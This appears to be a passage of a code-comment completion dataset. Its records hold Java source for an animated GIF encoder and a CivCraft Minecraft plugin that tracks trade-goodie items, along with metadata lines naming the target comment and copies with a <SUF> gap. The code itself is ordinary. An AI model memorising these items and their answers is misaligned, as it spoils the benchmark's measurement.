// packed fields
if (firstFrame) {
// no LCT - GCT is used for first (or only) frame
out.write(0);
} else {
// specify normal LCT
out.write(0x80 | // 1 local color table 1=yes
0 | // 2 interlace - 0=no
0 | // 3 sorted - 0=no
0 | // 4-5 reserved
palSize); // 6-8 size of color table
}
}
/**
* Writes Logical Screen Descriptor
*/
protected void writeLSD() throws IOException {
// logical screen size
writeShort(width);
writeShort(height);
// packed fields
out.write((0x80 | // 1 : global color table flag = 1 (gct used)
0x70 | // 2-4 : color resolution = 7
0x00 | // 5 : gct sort flag = 0
palSize)); // 6-8 : gct size
out.write(0); // background color index
out.write(0); // pixel aspect ratio - assume 1:1
}
/**
* Writes Netscape application extension to define
* repeat count.
*/
protected void writeNetscapeExt() throws IOException {
out.write(0x21); // extension introducer
out.write(0xff); // app extension label
out.write(11); // block size
writeString("NETSCAPE" + "2.0"); // app id + auth code
out.write(3); // sub-block size
out.write(1); // loop sub-block id
writeShort(repeat); // loop count (extra iterations, 0=repeat forever)
out.write(0); // block terminator
}
/**
* Writes color table
*/
protected void writePalette() throws IOException {
out.write(colorTab, 0, colorTab.length);
int n = (3 * 256) - colorTab.length;
for (int i = 0; i < n; i++) {
out.write(0);
}
}
/**
* Encodes and writes pixel data
*/
protected void writePixels() throws IOException {
LZWEncoder encoder =
new LZWEncoder(width, height, indexedPixels, colorDepth);
encoder.encode(out);
}
/**
* Write 16-bit value to output stream, LSB first
*/
protected void writeShort(int value) throws IOException {
out.write(value & 0xff);
out.write((value >> 8) & 0xff);
}
/**
* Writes string to output stream
*/
protected void writeString(String s) throws IOException {
for (int i = 0; i < s.length(); i++) {
out.write((byte) s.charAt(i));
}
}
}
| netconstructor/gifsockets | src/java/AnimatedGifEncoder.java | 4,541 | // 6-8 : gct size
| line_comment | nl | import java.io.*;
import java.awt.*;
import java.awt.image.*;
import org.apache.commons.io.IOUtils;
/**
* Class AnimatedGifEncoder - Encodes a GIF file consisting of one or
* more frames.
* <pre>
* Example:
* AnimatedGifEncoder e = new AnimatedGifEncoder();
* e.start(outputFileName);
* e.setDelay(1000); // 1 frame per sec
* e.addFrame(image1);
* e.addFrame(image2);
* e.finish();
* </pre>
* No copyright asserted on the source code of this class. May be used
* for any purpose, however, refer to the Unisys LZW patent for restrictions
* on use of the associated LZWEncoder class. Please forward any corrections
* to questions at fmsware.com.
*
* @author Kevin Weiner, FM Software
* @version 1.03 November 2003
*
*/
public class AnimatedGifEncoder {
protected int width; // image size
protected int height;
protected Color transparent = null; // transparent color if given
protected int transIndex; // transparent index in color table
protected int repeat = -1; // no repeat
protected int delay = 0; // frame delay (hundredths)
protected boolean started = false; // ready to output frames
protected OutputStream out;
protected BufferedImage image; // current frame
protected byte[] pixels; // BGR byte array from frame
protected byte[] indexedPixels; // converted frame indexed to palette
protected int colorDepth; // number of bit planes
protected byte[] colorTab; // RGB palette
protected boolean[] usedEntry = new boolean[256]; // active palette entries
protected int palSize = 7; // color table size (bits-1)
protected int dispose = -1; // disposal code (-1 = use default)
protected boolean closeStream = false; // close stream when finished
protected boolean firstFrame = true;
protected boolean sizeSet = false; // if false, get size from first frame
protected int sample = 10; // default sample interval for quantizer
/**
* Sets the delay time between each frame, or changes it
* for subsequent frames (applies to last frame added).
*
* @param ms int delay time in milliseconds
*/
public void setDelay(int ms) {
delay = Math.round(ms / 10.0f);
}
/**
* Sets the GIF frame disposal code for the last added frame
* and any subsequent frames. Default is 0 if no transparent
* color has been set, otherwise 2.
* @param code int disposal code.
*/
public void setDispose(int code) {
if (code >= 0) {
dispose = code;
}
}
/**
* Sets the number of times the set of GIF frames
* should be played. Default is 1; 0 means play
* indefinitely. Must be invoked before the first
* image is added.
*
* @param iter int number of iterations.
* @return
*/
public void setRepeat(int iter) {
if (iter >= 0) {
repeat = iter;
}
}
/**
* Sets the transparent color for the last added frame
* and any subsequent frames.
* Since all colors are subject to modification
* in the quantization process, the color in the final
* palette for each frame closest to the given color
* becomes the transparent color for that frame.
* May be set to null to indicate no transparent color.
*
* @param c Color to be treated as transparent on display.
*/
public void setTransparent(Color c) {
transparent = c;
}
/**
* Adds next GIF frame. The frame is not written immediately, but is
* actually deferred until the next frame is received so that timing
* data can be inserted. Invoking <code>finish()</code> flushes all
* frames. If <code>setSize</code> was not invoked, the size of the
* first image is used for all subsequent frames.
*
* @param im BufferedImage containing frame to write.
* @return true if successful.
*/
public boolean addFrame(BufferedImage im) {
if ((im == null) || !started) {
return false;
}
boolean ok = true;
try {
if (!sizeSet) {
// use first frame's size
setSize(im.getWidth(), im.getHeight());
}
image = im;
getImagePixels(); // convert to correct format if necessary
analyzePixels(); // build color table & map pixels
if (firstFrame) {
writeLSD(); // logical screen descriptior
writePalette(); // global color table
if (repeat >= 0) {
// use NS app extension to indicate reps
writeNetscapeExt();
}
}
writeGraphicCtrlExt(); // write graphic control extension
writeImageDesc(); // image descriptor
if (!firstFrame) {
writePalette(); // local color table
}
writePixels(); // encode and write pixel data
firstFrame = false;
} catch (IOException e) {
ok = false;
}
return ok;
}
//added by alvaro
public boolean outFlush() {
boolean ok = true;
try {
out.flush();
return ok;
} catch (IOException e) {
ok = false;
}
return ok;
}
public byte[] getFrameByteArray() {
return ((ByteArrayOutputStream) out).toByteArray();
}
/**
* Flushes any pending data and closes output file.
* If writing to an OutputStream, the stream is not
* closed.
*/
public boolean finish() {
if (!started) return false;
boolean ok = true;
started = false;
try {
out.write(0x3b); // gif trailer
out.flush();
if (closeStream) {
out.close();
}
} catch (IOException e) {
ok = false;
}
return ok;
}
public void reset() {
// reset for subsequent use
transIndex = 0;
out = null;
image = null;
pixels = null;
indexedPixels = null;
colorTab = null;
closeStream = false;
firstFrame = true;
}
/**
* Sets frame rate in frames per second. Equivalent to
* <code>setDelay(1000/fps)</code>.
*
* @param fps float frame rate (frames per second)
*/
public void setFrameRate(float fps) {
if (fps != 0f) {
delay = Math.round(100f / fps);
}
}
/**
* Sets quality of color quantization (conversion of images
* to the maximum 256 colors allowed by the GIF specification).
* Lower values (minimum = 1) produce better colors, but slow
* processing significantly. 10 is the default, and produces
* good color mapping at reasonable speeds. Values greater
* than 20 do not yield significant improvements in speed.
*
* @param quality int greater than 0.
* @return
*/
public void setQuality(int quality) {
if (quality < 1) quality = 1;
sample = quality;
}
/**
* Sets the GIF frame size. The default size is the
* size of the first frame added if this method is
* not invoked.
*
* @param w int frame width.
* @param h int frame width.
*/
public void setSize(int w, int h) {
if (started && !firstFrame) return;
width = w;
height = h;
if (width < 1) width = 320;
if (height < 1) height = 240;
sizeSet = true;
}
/**
* Initiates GIF file creation on the given stream. The stream
* is not closed automatically.
*
* @param os OutputStream on which GIF images are written.
* @return false if initial write failed.
*/
public boolean start(OutputStream os) {
if (os == null) return false;
boolean ok = true;
closeStream = false;
out = os;
try {
writeString("GIF89a"); // header
} catch (IOException e) {
ok = false;
}
return started = ok;
}
/**
* Initiates writing of a GIF file with the specified name.
*
* @param file String containing output file name.
* @return false if open or initial write failed.
*/
public boolean start(String file) {
boolean ok = true;
try {
out = new BufferedOutputStream(new FileOutputStream(file));
ok = start(out);
closeStream = true;
} catch (IOException e) {
ok = false;
}
return started = ok;
}
/**
* Analyzes image colors and creates color map.
*/
protected void analyzePixels() {
int len = pixels.length;
int nPix = len / 3;
indexedPixels = new byte[nPix];
NeuQuant nq = new NeuQuant(pixels, len, sample);
// initialize quantizer
colorTab = nq.process(); // create reduced palette
// convert map from BGR to RGB
for (int i = 0; i < colorTab.length; i += 3) {
byte temp = colorTab[i];
colorTab[i] = colorTab[i + 2];
colorTab[i + 2] = temp;
usedEntry[i / 3] = false;
}
// map image pixels to new palette
int k = 0;
for (int i = 0; i < nPix; i++) {
int index =
nq.map(pixels[k++] & 0xff,
pixels[k++] & 0xff,
pixels[k++] & 0xff);
usedEntry[index] = true;
indexedPixels[i] = (byte) index;
}
pixels = null;
colorDepth = 8;
palSize = 7;
// get closest match to transparent color if specified
if (transparent != null) {
transIndex = findClosest(transparent);
}
}
/**
* Returns index of palette color closest to c
*
*/
protected int findClosest(Color c) {
if (colorTab == null) return -1;
int r = c.getRed();
int g = c.getGreen();
int b = c.getBlue();
int minpos = 0;
int dmin = 256 * 256 * 256;
int len = colorTab.length;
for (int i = 0; i < len;) {
int dr = r - (colorTab[i++] & 0xff);
int dg = g - (colorTab[i++] & 0xff);
int db = b - (colorTab[i] & 0xff);
int d = dr * dr + dg * dg + db * db;
int index = i / 3;
if (usedEntry[index] && (d < dmin)) {
dmin = d;
minpos = index;
}
i++;
}
return minpos;
}
/**
* Extracts image pixels into byte array "pixels"
*/
protected void getImagePixels() {
int w = image.getWidth();
int h = image.getHeight();
int type = image.getType();
if ((w != width)
|| (h != height)
|| (type != BufferedImage.TYPE_3BYTE_BGR)) {
// create new image with right size/format
BufferedImage temp =
new BufferedImage(width, height, BufferedImage.TYPE_3BYTE_BGR);
Graphics2D g = temp.createGraphics();
g.drawImage(image, 0, 0, null);
image = temp;
}
pixels = ((DataBufferByte) image.getRaster().getDataBuffer()).getData();
}
/**
* Writes Graphic Control Extension
*/
protected void writeGraphicCtrlExt() throws IOException {
out.write(0x21); // extension introducer
out.write(0xf9); // GCE label
out.write(4); // data block size
int transp, disp;
if (transparent == null) {
transp = 0;
disp = 0; // dispose = no action
} else {
transp = 1;
disp = 2; // force clear if using transparent color
}
if (dispose >= 0) {
disp = dispose & 7; // user override
}
disp <<= 2;
// packed fields
out.write(0 | // 1:3 reserved
disp | // 4:6 disposal
0 | // 7 user input - 0 = none
transp); // 8 transparency flag
writeShort(delay); // delay x 1/100 sec
out.write(transIndex); // transparent color index
out.write(0); // block terminator
}
/**
* Writes Image Descriptor
*/
protected void writeImageDesc() throws IOException {
out.write(0x2c); // image separator
writeShort(0); // image position x,y = 0,0
writeShort(0);
writeShort(width); // image size
writeShort(height);
// packed fields
if (firstFrame) {
// no LCT - GCT is used for first (or only) frame
out.write(0);
} else {
// specify normal LCT
out.write(0x80 | // 1 local color table 1=yes
0 | // 2 interlace - 0=no
0 | // 3 sorted - 0=no
0 | // 4-5 reserved
palSize); // 6-8 size of color table
}
}
/**
* Writes Logical Screen Descriptor
*/
protected void writeLSD() throws IOException {
// logical screen size
writeShort(width);
writeShort(height);
// packed fields
out.write((0x80 | // 1 : global color table flag = 1 (gct used)
0x70 | // 2-4 : color resolution = 7
0x00 | // 5 : gct sort flag = 0
palSize)); // 6-8 :<SUF>
out.write(0); // background color index
out.write(0); // pixel aspect ratio - assume 1:1
}
/**
* Writes Netscape application extension to define
* repeat count.
*/
protected void writeNetscapeExt() throws IOException {
out.write(0x21); // extension introducer
out.write(0xff); // app extension label
out.write(11); // block size
writeString("NETSCAPE" + "2.0"); // app id + auth code
out.write(3); // sub-block size
out.write(1); // loop sub-block id
writeShort(repeat); // loop count (extra iterations, 0=repeat forever)
out.write(0); // block terminator
}
/**
* Writes color table
*/
protected void writePalette() throws IOException {
out.write(colorTab, 0, colorTab.length);
int n = (3 * 256) - colorTab.length;
for (int i = 0; i < n; i++) {
out.write(0);
}
}
/**
* Encodes and writes pixel data
*/
protected void writePixels() throws IOException {
LZWEncoder encoder =
new LZWEncoder(width, height, indexedPixels, colorDepth);
encoder.encode(out);
}
/**
* Write 16-bit value to output stream, LSB first
*/
protected void writeShort(int value) throws IOException {
out.write(value & 0xff);
out.write((value >> 8) & 0xff);
}
/**
* Writes string to output stream
*/
protected void writeString(String s) throws IOException {
for (int i = 0; i < s.length(); i++) {
out.write((byte) s.charAt(i));
}
}
}
|
210484_11 | /*************************************************************************
*
* AVRGAMING LLC
* __________________
*
* [2013] AVRGAMING LLC
* All Rights Reserved.
*
* NOTICE: All information contained herein is, and remains
* the property of AVRGAMING LLC and its suppliers,
* if any. The intellectual and technical concepts contained
* herein are proprietary to AVRGAMING LLC
* and its suppliers and may be covered by U.S. and Foreign Patents,
* patents in process, and are protected by trade secret or copyright law.
* Dissemination of this information or reproduction of this material
* is strictly forbidden unless prior written permission is obtained
* from AVRGAMING LLC.
*/
package com.avrgaming.civcraft.listener;
import java.util.Map.Entry;
import org.bukkit.block.Chest;
import org.bukkit.block.DoubleChest;
import org.bukkit.entity.Entity;
import org.bukkit.entity.Item;
import org.bukkit.entity.ItemFrame;
import org.bukkit.entity.Player;
import org.bukkit.event.Cancellable;
import org.bukkit.event.Event;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.entity.EntityCombustEvent;
import org.bukkit.event.entity.ItemDespawnEvent;
import org.bukkit.event.entity.ItemSpawnEvent;
import org.bukkit.event.inventory.CraftItemEvent;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.event.player.PlayerDropItemEvent;
import org.bukkit.event.player.PlayerInteractEntityEvent;
import org.bukkit.event.player.PlayerInteractEvent;
import org.bukkit.event.player.PlayerItemHeldEvent;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerPickupItemEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import org.bukkit.event.world.ChunkUnloadEvent;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.InventoryHolder;
import org.bukkit.inventory.InventoryView;
import org.bukkit.inventory.ItemStack;
import com.avrgaming.civcraft.config.CivSettings;
import com.avrgaming.civcraft.config.ConfigTradeGood;
import com.avrgaming.civcraft.exception.CivException;
import com.avrgaming.civcraft.items.BonusGoodie;
import com.avrgaming.civcraft.items.units.UnitItemMaterial;
import com.avrgaming.civcraft.items.units.UnitMaterial;
import com.avrgaming.civcraft.lorestorage.LoreMaterial;
import com.avrgaming.civcraft.main.CivData;
import com.avrgaming.civcraft.main.CivGlobal;
import com.avrgaming.civcraft.main.CivMessage;
import com.avrgaming.civcraft.object.Resident;
import com.avrgaming.civcraft.util.BlockCoord;
import com.avrgaming.civcraft.util.CivColor;
import com.avrgaming.civcraft.util.ItemFrameStorage;
import com.avrgaming.civcraft.util.ItemManager;
public class BonusGoodieManager implements Listener {
/*
* Keeps track of the location of bonus goodies through various events.
* Will also repo goodies back to the trade outposts if they get destroyed.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnItemHeldChange(PlayerItemHeldEvent event) {
Inventory inv = event.getPlayer().getInventory();
ItemStack stack = inv.getItem(event.getNewSlot());
BonusGoodie goodie = CivGlobal.getBonusGoodie(stack);
if (goodie == null) {
return;
}
CivMessage.send(event.getPlayer(), CivColor.Purple+"Bonus Goodie: "+CivColor.Yellow+goodie.getDisplayName());
}
/*
* When a Bonus Goodie despawns, Replenish it at the outpost.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void onItemDespawn(ItemDespawnEvent event) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getEntity().getItemStack());
if (goodie == null) {
return;
}
goodie.replenish(event.getEntity().getItemStack(), event.getEntity(), null, null);
}
/*
* When a player leaves, drop item on the ground.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerQuit(PlayerQuitEvent event) {
for (ItemStack stack : event.getPlayer().getInventory().getContents()) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(stack);
if (goodie != null) {
event.getPlayer().getInventory().remove(stack);
event.getPlayer().getWorld().dropItemNaturally(event.getPlayer().getLocation(), stack);
}
}
}
/*
* When the chunk unloads, replenish it at the outpost
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnChunkUnload(ChunkUnloadEvent event) {
BonusGoodie goodie;
for (Entity entity : event.getChunk().getEntities()) {
if (!(entity instanceof Item)) {
continue;
}
goodie = CivGlobal.getBonusGoodie(((Item)entity).getItemStack());
if (goodie == null) {
continue;
}
goodie.replenish(((Item)entity).getItemStack(), (Item)entity, null, null);
}
}
/*
* If the item combusts in lava or fire, replenish it at the outpost.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnEntityCombustEvent(EntityCombustEvent event) {
if (!(event.getEntity() instanceof Item)) {
return;
}
BonusGoodie goodie = CivGlobal.getBonusGoodie(((Item)event.getEntity()).getItemStack());
if (goodie == null) {
return;
}
goodie.replenish(((Item)event.getEntity()).getItemStack(), (Item)event.getEntity(), null, null);
}
/*
* Track the location of the goodie.
*/
@EventHandler(priority = EventPriority.LOWEST)
public void OnInventoryClick(InventoryClickEvent event) {
BonusGoodie goodie;
ItemStack stack;
if (event.isShiftClick()) {
stack = event.getCurrentItem();
goodie = CivGlobal.getBonusGoodie(stack);
} else {
stack = event.getCursor();
goodie = CivGlobal.getBonusGoodie(stack);
}
if (goodie == null) {
return;
}
InventoryView view = event.getView();
int rawslot = event.getRawSlot();
boolean top = view.convertSlot(rawslot) == rawslot;
if (event.isShiftClick()) {
top = !top;
}
InventoryHolder holder;
if (top) {
holder = view.getTopInventory().getHolder();
} else {
holder = view.getBottomInventory().getHolder();
}
boolean isAllowedHolder = (holder instanceof Chest) || (holder instanceof DoubleChest) || (holder instanceof Player);
if ((holder == null) || !isAllowedHolder) {
event.setCancelled(true);
event.setResult(Event.Result.DENY);
Player player;
try {
player = CivGlobal.getPlayer(event.getWhoClicked().getName());
CivMessage.sendError(player, "Cannot move bonus goodie into this container.");
} catch (CivException e) {
//player not found or not online.
}
// if we are not doing a shift-click close it to hide client
// bug showing the item in the inventory even though its not
// there.
if (event.isShiftClick() == false) {
view.close();
}
return;
}
if (goodie.getHolder() != holder) {
try {
goodie.setHolder(holder);
goodie.update(false);
goodie.updateLore(stack);
} catch (CivException e) {
e.printStackTrace();
}
}
}
/*
* Track the location of the goodie if it spawns as an item.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnItemSpawn(ItemSpawnEvent event) {
Item item = event.getEntity();
BonusGoodie goodie = CivGlobal.getBonusGoodie(item.getItemStack());
if (goodie == null) {
return;
}
// Cant validate here, validate in drop item events...
goodie.setItem(item);
try {
goodie.update(false);
goodie.updateLore(item.getItemStack());
} catch (CivException e) {
e.printStackTrace();
}
}
/*
* Validate that the item dropped was a valid goodie
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerDropItemEvent(PlayerDropItemEvent event) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getItemDrop().getItemStack());
if (goodie == null) {
return;
}
// Verify that the player dropping this item is in fact our holder.
// goodie.validateItem(event.getItemDrop().getItemStack(), null, event.getPlayer(), null);
}
/*
* Track the location of the goodie if a player picks it up.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerPickupItem(PlayerPickupItemEvent event) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getItem().getItemStack());
if (goodie == null) {
return;
}
try {
goodie.setHolder(event.getPlayer());
goodie.update(false);
goodie.updateLore(event.getItem().getItemStack());
} catch (CivException e) {
e.printStackTrace();
}
}
/*
* Track the location of the goodie if a player places it in an item frame.
*/
@EventHandler(priority = EventPriority.LOW)
public void OnPlayerInteractEntityEvent(PlayerInteractEntityEvent event) {
if (!(event.getRightClicked() instanceof ItemFrame)) {
return;
}
LoreMaterial material = LoreMaterial.getMaterial(event.getPlayer().getItemInHand());
if (material != null) {
if (material instanceof UnitItemMaterial ||
material instanceof UnitMaterial) {
//Do not allow subordinate items into the frame.
CivMessage.sendError(event.getPlayer(), "You cannot place this item into an itemframe.");
return;
}
}
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getPlayer().getItemInHand());
ItemFrame frame = (ItemFrame)event.getRightClicked();
ItemFrameStorage frameStore = CivGlobal.getProtectedItemFrame(frame.getUniqueId());
if (goodie == null) {
/* No goodie item, make sure they dont go into protected frames. */
if (frameStore != null) {
/* Make sure we're trying to place an item into the frame, test if the frame is empty. */
if (frame.getItem() == null || ItemManager.getId(frame.getItem()) == CivData.AIR) {
CivMessage.sendError(event.getPlayer(),
"You cannot place a non-trade goodie items in a trade goodie item frame.");
event.setCancelled(true);
return;
}
}
} else {
/* Trade goodie, make sure they only go into protect frames. */
if (frameStore == null) {
CivMessage.sendError(event.getPlayer(),
"You cannot place a trade gooide in a non-trade goodie item frame.");
event.setCancelled(true);
return;
}
}
if (frameStore != null) {
onPlayerProtectedFrameInteract(event.getPlayer(), frameStore, goodie, event);
event.setCancelled(true);
}
// BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getPlayer().getItemInHand());
// ItemFrame frame = (ItemFrame)event.getRightClicked();
// if (frame.getItem() == null || frame.getItem().getType() == Material.AIR) {
//
// ItemFrameStorage frameStore = CivGlobal.getProtectedItemFrame(frame.getUniqueId());
//
//
// if (frameStore == null && goodie != null) {
// CivMessage.sendError(event.getPlayer(), "You cannot place a goodie in a non-protected item frame.");
// event.setCancelled(true);
// return;
// }
//
// if (frameStore == null) {
// /* non protected item frame, allow placement. */
// return;
// }
//
// if (goodie == null && event.getPlayer().getItemInHand().getTypeId() != CivData.AIR) {
// CivMessage.sendError(event.getPlayer(), "You cannot place non-trade goodie items in a trade goodie item frame.");
// event.setCancelled(true);
// return;
// }
//
// if (goodie == null) {
// event.setCancelled(true);
// return;
// }
//
// Resident resident = CivGlobal.getResident(event.getPlayer());
// if (resident == null || !resident.hasTown() || resident.getCiv() != frameStore.getTown().getCiv()) {
// CivMessage.sendError(event.getPlayer(), "You don't have permission to add trade goodies to this item frame.");
// event.setCancelled(true);
// return;
// }
//
// //CivGlobal.checkForEmptyDuplicateFrames(frameStore);
//
// event.setCancelled(true);
//
// /*
// * Move the item manually. Creative mode keeps a copy in your inv, we want both
// * survival and creative to use the same code, so just cancel the event and
// * do it ourselves.
// */
// ItemStack stack = event.getPlayer().getItemInHand();
// frameStore.setItem(stack);
//
// if (stack.getAmount() > 1) {
// stack.setAmount(stack.getAmount() - 1);
// } else {
// event.getPlayer().getInventory().remove(stack);
// }
//
// frameStore.getTown().onGoodiePlaceIntoFrame(frameStore, goodie);
//
// goodie.setFrame(frameStore);
// try {
// goodie.update(false);
// goodie.updateLore(stack);
// } catch (CivException e) {
// e.printStackTrace();
// }
//
// }
}
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerJoinEvent(PlayerJoinEvent event) {
Inventory inv = event.getPlayer().getInventory();
for (ConfigTradeGood good : CivSettings.goods.values()) {
for (Entry<Integer, ? extends ItemStack> itemEntry : inv.all(ItemManager.getMaterial(good.material)).entrySet()) {
if (good.material_data != ItemManager.getData(itemEntry.getValue())) {
continue;
}
BonusGoodie goodie = CivGlobal.getBonusGoodie(itemEntry.getValue());
if (goodie != null) {
inv.remove(itemEntry.getValue());
}
}
}
}
public static void onPlayerProtectedFrameInteract(Player player, ItemFrameStorage clickedFrame,
BonusGoodie goodie, Cancellable event) {
Resident resident = CivGlobal.getResident(player);
if (resident == null || !resident.hasTown() || resident.getCiv() != clickedFrame.getTown().getCiv()) {
CivMessage.sendError(player,
"You must be a member of the owner civ to socket or unsocket trade goodies.");
event.setCancelled(true);
return;
}
if (!clickedFrame.getTown().getMayorGroup().hasMember(resident) &&
!clickedFrame.getTown().getAssistantGroup().hasMember(resident)) {
CivMessage.sendError(player,
"You must be a mayor or assistant in order to socket or unsocket trade goodies.");
event.setCancelled(true);
return;
}
ItemFrame frame = clickedFrame.getItemFrame();
ItemStack stack = frame.getItem();
//if goodie in frame, break it out
if (stack != null && ItemManager.getId(stack) != CivData.AIR) {
// FYI sometimes the item pops out from the player entity interact event...
BonusGoodie goodieInFrame = CivGlobal.getBonusGoodie(frame.getItem());
if (goodieInFrame != null) {
clickedFrame.getTown().onGoodieRemoveFromFrame(clickedFrame, goodieInFrame);
try {
goodieInFrame.setFrame(clickedFrame);
goodieInFrame.update(false);
} catch (CivException e) {
e.printStackTrace();
}
}
player.getWorld().dropItemNaturally(frame.getLocation(), stack);
frame.setItem(ItemManager.createItemStack(CivData.AIR, 1));
CivMessage.send(player, CivColor.LightGray+"You unsocket the trade goodie from the frame.");
} else if (goodie != null) {
//Item frame was empty, add goodie to it.
frame.setItem(player.getItemInHand());
player.getInventory().remove(player.getItemInHand());
CivMessage.send(player, CivColor.LightGray+"You socket the trade goodie into the frame");
clickedFrame.getTown().onGoodiePlaceIntoFrame(clickedFrame, goodie);
try {
goodie.setFrame(clickedFrame);
goodie.update(false);
} catch (CivException e) {
e.printStackTrace();
}
}
}
/*
* Prevent the player from using items that are actually trade goodies.
*/
@EventHandler(priority = EventPriority.LOW)
public void OnPlayerInteractEvent(PlayerInteractEvent event) {
ItemStack item = event.getPlayer().getItemInHand();
BonusGoodie goodie = CivGlobal.getBonusGoodie(item);
if (goodie == null) {
return;
}
if (event.getClickedBlock() == null) {
event.setCancelled(true);
return;
}
BlockCoord bcoord = new BlockCoord(event.getClickedBlock());
ItemFrameStorage clickedFrame = ItemFrameStorage.attachedBlockMap.get(bcoord);
if (clickedFrame != null) {
if (clickedFrame.getItemFrame() != null) {
if (clickedFrame.getItemFrame().getAttachedFace().getOppositeFace() ==
event.getBlockFace()) {
onPlayerProtectedFrameInteract(event.getPlayer(), clickedFrame, goodie, event);
event.setCancelled(true);
}
}
return;
}
if (event.getAction() == Action.RIGHT_CLICK_AIR || event.getAction() == Action.RIGHT_CLICK_BLOCK) {
CivMessage.sendError(event.getPlayer(), "Cannot use bonus goodie as a normal item.");
event.setCancelled(true);
return;
}
}
/*
* Prevent the player from using goodies in crafting recipies.
*/
@EventHandler(priority = EventPriority.HIGHEST)
public void OnCraftItemEvent(CraftItemEvent event) {
Player player;
try {
player = CivGlobal.getPlayer(event.getWhoClicked().getName());
} catch (CivException e) {
e.printStackTrace();
return;
}
for (ItemStack stack : event.getInventory().getMatrix()) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(stack);
if (goodie != null) {
CivMessage.sendError(player, "Cannot use bonus goodies in a crafting recipe.");
event.setCancelled(true);
}
}
}
} | netizen539/civcraft | civcraft/src/com/avrgaming/civcraft/listener/BonusGoodieManager.java | 5,838 | // Cant validate here, validate in drop item events... | line_comment | nl | /*************************************************************************
*
* AVRGAMING LLC
* __________________
*
* [2013] AVRGAMING LLC
* All Rights Reserved.
*
* NOTICE: All information contained herein is, and remains
* the property of AVRGAMING LLC and its suppliers,
* if any. The intellectual and technical concepts contained
* herein are proprietary to AVRGAMING LLC
* and its suppliers and may be covered by U.S. and Foreign Patents,
* patents in process, and are protected by trade secret or copyright law.
* Dissemination of this information or reproduction of this material
* is strictly forbidden unless prior written permission is obtained
* from AVRGAMING LLC.
*/
package com.avrgaming.civcraft.listener;
import java.util.Map.Entry;
import org.bukkit.block.Chest;
import org.bukkit.block.DoubleChest;
import org.bukkit.entity.Entity;
import org.bukkit.entity.Item;
import org.bukkit.entity.ItemFrame;
import org.bukkit.entity.Player;
import org.bukkit.event.Cancellable;
import org.bukkit.event.Event;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.entity.EntityCombustEvent;
import org.bukkit.event.entity.ItemDespawnEvent;
import org.bukkit.event.entity.ItemSpawnEvent;
import org.bukkit.event.inventory.CraftItemEvent;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.event.player.PlayerDropItemEvent;
import org.bukkit.event.player.PlayerInteractEntityEvent;
import org.bukkit.event.player.PlayerInteractEvent;
import org.bukkit.event.player.PlayerItemHeldEvent;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerPickupItemEvent;
import org.bukkit.event.player.PlayerQuitEvent;
import org.bukkit.event.world.ChunkUnloadEvent;
import org.bukkit.inventory.Inventory;
import org.bukkit.inventory.InventoryHolder;
import org.bukkit.inventory.InventoryView;
import org.bukkit.inventory.ItemStack;
import com.avrgaming.civcraft.config.CivSettings;
import com.avrgaming.civcraft.config.ConfigTradeGood;
import com.avrgaming.civcraft.exception.CivException;
import com.avrgaming.civcraft.items.BonusGoodie;
import com.avrgaming.civcraft.items.units.UnitItemMaterial;
import com.avrgaming.civcraft.items.units.UnitMaterial;
import com.avrgaming.civcraft.lorestorage.LoreMaterial;
import com.avrgaming.civcraft.main.CivData;
import com.avrgaming.civcraft.main.CivGlobal;
import com.avrgaming.civcraft.main.CivMessage;
import com.avrgaming.civcraft.object.Resident;
import com.avrgaming.civcraft.util.BlockCoord;
import com.avrgaming.civcraft.util.CivColor;
import com.avrgaming.civcraft.util.ItemFrameStorage;
import com.avrgaming.civcraft.util.ItemManager;
public class BonusGoodieManager implements Listener {
/*
* Keeps track of the location of bonus goodies through various events.
* Will also repo goodies back to the trade outposts if they get destroyed.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnItemHeldChange(PlayerItemHeldEvent event) {
Inventory inv = event.getPlayer().getInventory();
ItemStack stack = inv.getItem(event.getNewSlot());
BonusGoodie goodie = CivGlobal.getBonusGoodie(stack);
if (goodie == null) {
return;
}
CivMessage.send(event.getPlayer(), CivColor.Purple+"Bonus Goodie: "+CivColor.Yellow+goodie.getDisplayName());
}
/*
* When a Bonus Goodie despawns, Replenish it at the outpost.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void onItemDespawn(ItemDespawnEvent event) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(event.getEntity().getItemStack());
if (goodie == null) {
return;
}
goodie.replenish(event.getEntity().getItemStack(), event.getEntity(), null, null);
}
/*
* When a player leaves, drop item on the ground.
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnPlayerQuit(PlayerQuitEvent event) {
for (ItemStack stack : event.getPlayer().getInventory().getContents()) {
BonusGoodie goodie = CivGlobal.getBonusGoodie(stack);
if (goodie != null) {
event.getPlayer().getInventory().remove(stack);
event.getPlayer().getWorld().dropItemNaturally(event.getPlayer().getLocation(), stack);
}
}
}
/*
* When the chunk unloads, replenish it at the outpost
*/
@EventHandler(priority = EventPriority.MONITOR)
public void OnChunkUnload(ChunkUnloadEvent event) {
BonusGoodie goodie;
